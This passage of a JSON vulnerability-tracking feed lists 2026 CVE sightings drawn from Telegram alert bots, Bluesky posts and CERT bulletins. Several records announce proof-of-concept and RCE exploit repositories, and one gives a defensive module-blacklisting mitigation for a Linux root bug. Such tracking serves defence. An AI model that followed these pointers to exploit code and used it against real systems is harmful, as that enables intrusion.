\u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-05T01:07:13.000000Z"}, {"uuid": "56478d6d-f0df-4e77-985a-90d1f9f88bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/stefketels.vrk.social/post/3mnkibm5dxcn3", "content": "Ik draai al te lang mee om mee spelen in religieuze OS-oorlogen, maar dat laatste statement vind ik zeer ver gaan. Ik neem aan dat u het over CVE-2026-31431 (\"Copy Fail\") heeft?  Er was een mainline fix negen dagen na het rapport en 28 dagen voor de afgesproken public disclosure.  /1", "creation_timestamp": "2026-06-05T15:46:12.346690Z"}, {"uuid": "71494ea0-8663-4903-b462-475852f8fe62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31266", "type": "seen", "source": "https://t.me/GithubRedTeam/87450", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Craftcms-PoC-CVE-2026-31266\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xrixet\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-05 14:53:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity research on Craft CMS authentication mechanism\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-05T15:00:04.000000Z"}, {"uuid": "918e2870-5e1d-45ca-876a-34ec3976e654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/2GKVzEdq0Q1GgXdde3R68qhjmtmEcsIfO4W2udc5u2OvA5M", "content": "", "creation_timestamp": "2026-06-05T09:00:04.000000Z"}, {"uuid": "2daaee5a-0b45-4266-8636-7e0e08a2f1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/5KTwmA96Kj45TkZqBYLm7RQJ-3Dt3Yk-Ro8oNdfED5lawJI", "content": "", "creation_timestamp": "2026-06-03T15:00:06.000000Z"}, {"uuid": "dec62160-94af-413c-8e88-74ff50d22c6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "Telegram/ZO8GXKofeRUVwVPphXUXme80ypLutlvGOITV9wiiQ1h3jLc", "content": "", "creation_timestamp": "2026-06-04T23:00:15.000000Z"}, {"uuid": "9690571e-9d2b-476b-adfa-1b4637b83846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "Telegram/w0GkJHs0a-iOGxRnRQVAJ6txbFx-4W5StLXj-Qhn1zDpC10", "content": "", "creation_timestamp": "2026-06-05T03:00:06.000000Z"}, {"uuid": "5c8a5c4f-f7c1-4564-a887-dbf42ac11205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mnomoi4d6vz2", "content": "Ubuntu 16.04 LTS linux-fips Critical Risk Compromise CVE-2026-31504 The system could be compromised under certain conditions.\n\n#Ubuntu #Linux #Distribution #- #Security #Advisories\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-07T07:15:39.301056Z"}, {"uuid": "0a4b25f7-c57d-485a-b197-a5f64eb35fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31404", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "a0b59af0-3024-47e5-af13-915f1bc65110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31488", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "fa0b69a0-9880-4542-a191-bfd47dbce2d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31622", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "e46d7f23-af94-4c64-b82e-660596ac4935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://t.me/tech_b0lt_Genona/6868", "content": "\ud83d\udd39 Luntry \u0432 Hall of Fame: \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Istio \n\nIstio \u2014 \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 service mesh-\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043c\u0438\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u043c\u0435\u0436\u0434\u0443 \u043c\u0438\u043a\u0440\u043e\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 observability \u0432 Kubernetes-\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430\u0445. \n\nR'n'D-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 Luntry \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432 Istio \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a CVE-2026-31838. \u041c\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0439 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0438 \u043e\u043d\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u0442\u0447 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435.\n\ud83d\udd17 Security Advisory \u043e\u0442 Istio \n\n\ud83d\udca1 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e?\nService mesh \u2014 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0439 \u0441\u043b\u043e\u0439  \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0435\u0441\u044c \u043c\u0435\u0436\u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043f\u0440\u043e\u0434\u0430\u043a\u0448\u0435\u043d-\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \n\n\ud83d\udd25 \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043e\u0433\u043e\u043d\u044c, \u0435\u0441\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0435, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0434\u0435\u043b\u0430\u044e\u0442 \u0432\u0441\u044e \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0441\u0438\u043b\u044c\u043d\u0435\u0435!\n\n\ud83d\udcd6 \u0425\u043e\u0442\u0438\u0442\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u0432\u0441\u0451 \u0438 \u0441\u0440\u0430\u0437\u0443? \n\u041c\u044b \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \n\n#1 \u0438\u0437 5 \u0432 \u0441\u0435\u0440\u0438\u0438 \u043f\u043e\u0441\u0442\u043e\u0432 \u043e \u0432\u043a\u043b\u0430\u0434\u0435 Luntry \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043c\u0438\u0440\u043e\u0432\u043e\u0433\u043e Open Source.", "creation_timestamp": "2026-08-14T16:00:23.055271Z"}, {"uuid": "c8b172d0-0755-4a3a-a92d-502d98e379c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/sjJtFOPrNVJGH8Bcyfvt2TqqQ7q8xvrKLNMkHdu0Vl11BjU", "content": "", "creation_timestamp": "2026-08-05T21:00:04.000422Z"}, {"uuid": "8a6cb9b6-4de7-498e-9372-2fdd90ebbe9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mnsfhiypks2k", "content": "pgvector 0.8.2 fixes CVE-2026-3172, a heap buffer overflow in parallel HNSW index builds that can leak data from other relations or crash the backend. If you build HNSW indexes with parallelism and you're not on 0.8.2, patch.\n\nwww.postgresql.org/about/news/p...\n\npgexperts.com", "creation_timestamp": "2026-06-08T19:17:03.679185Z"}, {"uuid": "71a6a984-dfc3-4397-9cb2-47fdf16bbc29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31676", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "1806477b-936a-4582-a020-7d341deffe89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31709", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T17:00:00.000000Z"}, {"uuid": "d728e92e-abc6-4af0-91d5-ecfa06351491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31880", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtnpgqr7zb2z", "content": "\ud83d\udfe0 CVE-2026-31880 - High (8)\n\nCombodo iTop is a web based IT service management tool. Prior to 3.2.3, there is a Reflected Cros...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-31880/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-22T07:03:27.263566Z"}, {"uuid": "3ec6da3a-971b-41e0-ad9d-a78511be7444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/CyberDispatch/1509", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV.", "creation_timestamp": "2026-08-29T20:00:16.368891Z"}, {"uuid": "8b34922f-b13b-48f8-843b-1725545aebda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31936", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtmujkg3gh2b", "content": "\ud83d\udfe0 CVE-2026-31936 - High (8.8)\n\nCombodo iTop is a web based IT service management tool. Prior to 3.2.3, users can access to unaut...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-31936/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T23:01:49.480709Z"}, {"uuid": "3fbfaca9-028d-43d1-a1c7-b0d0855f2259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/sjJtFOPrNVJGH8Bcyfvt2TqqQ7q8xvrKLNMkHdu0Vl11BjU", "content": "", "creation_timestamp": "2026-08-06T00:00:08.868294Z"}, {"uuid": "d2046d2d-7249-4b76-b206-c76cb4f5ffc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnws6rpepq2y", "content": "\ud83d\udd17 CVE : CVE-2026-31790", "creation_timestamp": "2026-06-10T13:15:27.504051Z"}, {"uuid": "c8bf0da1-5044-4f2e-9ef5-97ec5161b759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mnwtezhcgk2l", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona ' #CopyFail'? El #exploit de 732 bytes que otorga acceso #Root en #Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.com/2026/04/copy...", "creation_timestamp": "2026-06-10T13:37:05.397741Z"}, {"uuid": "dda29d59-281e-4366-95b2-b554db13c3e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98095", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31816\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 20:45:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31816 - Budibase Authentication Bypass to RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-14T22:00:04.831550Z"}, {"uuid": "84165e5c-be1c-45a6-9dc6-c007d0c58502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/96684", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaocalciolari07\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 01:58:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDefensive detection & mitigation tool for CVE-2026-31431 (\"Copy Fail\") \u2014 Linux kernel algif_aead LPE. No exploit code included.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-06T00:00:57.365919Z"}, {"uuid": "29fb2762-961e-4804-bd2d-929d3381b2d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/227", "content": "CVE-2026-31431\n\n29 \u0430\u043f\u0440\u0435\u043b\u044f \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Copy Fail \u0432 \u044f\u0434\u0440\u0435 Linux \u0441 \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 7.8 CVSS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e root \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. PoC \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0442\u0443\u0442.\n\n\u041d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0434\u0440\u0443\u0433\u043e\u0435. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u044b \u0441\u0442\u0430\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u0447\u0430\u0441\u0442\u044c\u044f, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435-\u0442\u043e \u0432\u0441\u0435 \u0432\u0430\u0448\u0438 VPS/VDS \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0432\u043f\u0430\u043b\u043e \u0441 \u0432\u0437\u043b\u043e\u043c\u043e\u043c \u043e\u0434\u043d\u043e\u0433\u043e (\u0432\u0441\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b) \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a \u043e\u0434\u043d\u043e\u0439 \u0442\u0430\u0447\u043a\u0435 \u0441 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043a\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 user12345. \u041d\u0443 \u0438 \u043a\u0442\u043e-\u0442\u043e \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044e\u0437\u0435\u0440\u043e\u0432 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f \u043f\u043e\u0434\u043d\u044f\u0442\u044c\u0441\u044f \u0434\u043e \u0420\u0443\u0442\u0430 :)\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u044c\u0442\u0435 \u0431\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u0438 \u0442\u0430\u0447\u043a\u0438! \u0414\u043b\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u043a\u0441\u0430 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u043e\u0434\u0443\u043b\u044f algif_aead:\n\nsudo tee -a /etc/modprobe.d/blacklist-algif_aead.conf <<\u2019EOF\u2019\n# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\nEOF\nsudo sh -c \"lsmod | grep algif_aead -q && modprobe -r algif_aead || reboot\"\n\n\ud83d\udcab @pentestnotes", "creation_timestamp": "2026-08-06T00:01:02.077153Z"}, {"uuid": "3bbbf547-8156-4898-98a1-f74ced4caaa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/code/cves/2026/CVE-2026-31431.yaml", "content": "", "creation_timestamp": "2026-06-17T08:40:02.000000Z"}, {"uuid": "10af4d89-371a-4137-954d-51b93dfdf148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mol6zxqsu62b", "content": "Copy Fail (CVE-2026-31431): A Technical Deep Dive", "creation_timestamp": "2026-06-18T15:58:42.085017Z"}, {"uuid": "cbab7028-da00-472b-b04d-476f81a509e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3monc7yyftn2l", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-31802 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/447 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-06-19T12:01:03.516786Z"}, {"uuid": "a2d53e0e-8d63-485b-9491-6ffddb9d54db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98095", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31816\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 20:45:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31816 - Budibase Authentication Bypass to RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-15T00:00:08.787776Z"}, {"uuid": "31633475-f3da-4a6f-beb7-943197dfaf76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31610", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T04:45:25.565946Z"}, {"uuid": "359f69e7-2074-4d17-9c17-0b5c431efb98", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5c10fbc1-4e1e-4932-9c3d-0d7b89f299bc", "content": "", "creation_timestamp": "2026-06-19T12:45:12.464591Z"}, {"uuid": "153b29d9-b91d-446e-aedb-8f0bade24c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3monfdxrl722l", "content": "N\u00e3o pode reiniciar seu Oracle Linux 9 agora? Aprenda a mitigar CVE-2026-31504, CVE-2026-31533 e outras com iptables e ajustes de sysctl. Script incluso.  Saiba 